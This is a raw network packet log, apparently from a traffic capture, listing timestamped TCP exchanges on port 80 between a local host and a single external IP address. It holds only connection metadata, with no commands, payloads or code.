Nov 25, 2024 18:28:33.464102983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.464126110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.464173079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.467279911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.467478991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.467535019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.470530987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.470618010 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.470671892 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.473500013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.473613024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.473683119 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.476948023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.476983070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.477030039 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.479342937 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.479437113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.479481936 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.481889963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.481966019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.482019901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.484379053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.484462976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.484534979 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.486926079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.486947060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.487008095 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.489404917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.489538908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.489587069 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.491905928 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.491969109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.492017984 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.494353056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.494430065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.494477987 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.496948957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.497035980 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.497106075 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.499345064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.499380112 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.499443054 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.501955032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.501981020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.502033949 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.504345894 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.504369974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.504427910 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.506970882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.507051945 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.507133007 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.509208918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.509229898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.509293079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.511396885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.511508942 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.511559963 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.513708115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.513869047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.513914108 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.515892982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.516020060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.516064882 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.518228054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.518366098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.518414974 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.520566940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.520617008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.520665884 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.522823095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.522921085 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.522973061 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.570619106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.570754051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.570830107 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.571125984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.571237087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.571331024 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.572073936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.572285891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.572335005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.573396921 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.573733091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.573785067 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.573823929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.574583054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.574620962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.574632883 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.575733900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.575777054 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.575793982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.576809883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.576858997 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.576956034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.577902079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.577950001 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.578032970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.579058886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.579097033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.579107046 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.580362082 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.580415964 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.580528975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.581394911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.581439972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.581478119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.582593918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.582643986 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.582765102 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.583898067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.583945036 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.584019899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.585266113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.585334063 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.585445881 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.586508989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.586548090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.586560011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.587337971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.587383986 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.587420940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.588287115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.588340998 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.588407040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.589303017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.589358091 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.589391947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.590471029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.590523005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.590548992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.591582060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.591631889 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.591747999 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.592720985 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.592788935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.592874050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.594032049 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.594080925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.594106913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.595205069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.595256090 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.595295906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.596220016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.596267939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.596405983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.597280025 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.597327948 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.597353935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.598350048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.598402977 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.598465919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.599556923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.599596024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.599600077 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.600761890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.600795984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.600810051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.601758003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.601805925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.601892948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.602900982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.602965117 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.602972031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.603969097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.604017019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.604017019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.605102062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.605153084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.605185032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.606252909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.606307983 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.606343031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.607419014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.607440948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.607465982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.608583927 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.608633041 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.608654022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.609528065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.609576941 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.609633923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.610822916 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.610872030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.610956907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.612215996 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.612265110 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.612327099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.613676071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.613751888 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.613837957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.614624977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.614671946 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.614697933 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.615592003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.615634918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.615639925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.616420984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.616472006 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.616520882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.617367983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.617417097 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.617432117 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.618366957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.618413925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.618539095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.619581938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.619627953 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.619703054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.620645046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.620693922 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.620784044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.622112036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.622149944 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.622155905 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.623282909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.623331070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.623346090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.624146938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.624196053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.624206066 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.625036001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.625102997 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.625160933 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.626070976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.626118898 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.626179934 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.627300978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.627348900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.627568007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.628371954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.628400087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.628417969 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.670161009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.772516966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.772608042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.772697926 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.772944927 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.772974968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.773021936 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.773514032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.773623943 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.773674011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.774401903 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.774533987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.774580956 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.775063038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.775170088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.775218964 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.775755882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.775867939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.775918007 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.776490927 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.776623964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.776671886 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.777391911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.777514935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.777565002 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.778013945 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.778135061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.778224945 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.778795958 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.778909922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.778959036 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.779567957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.779687881 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.779738903 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.780334949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.780486107 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.780530930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.781076908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.781204939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.781249046 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.781915903 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.782008886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.782056093 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.782665014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.782860041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.782938957 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.783380032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.783582926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.783632994 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.784133911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.784224033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.784270048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.784897089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.785106897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.785165071 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.785670042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.785757065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.785805941 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.786426067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.786643982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.786695957 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.787199974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.787354946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.787410975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.788019896 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.788137913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.788178921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.788738012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.788916111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.788959980 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.789505959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.789752960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.789796114 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.790239096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.790306091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.790354013 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.791099072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.791127920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.791162014 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.791836023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.791860104 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.791901112 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.792562962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.792665958 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.792716980 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.793384075 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.793430090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.793473959 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.794127941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.794270039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.794318914 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.794821978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.794955015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.794997931 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.795624971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.795664072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.795708895 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.796343088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.796468019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.796514988 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.797128916 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.797235012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.797286034 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.797949076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.798043013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.798084974 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:33.798645020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:33.798770905 CET	80	49752	185.215.113.16	192.168.2.6
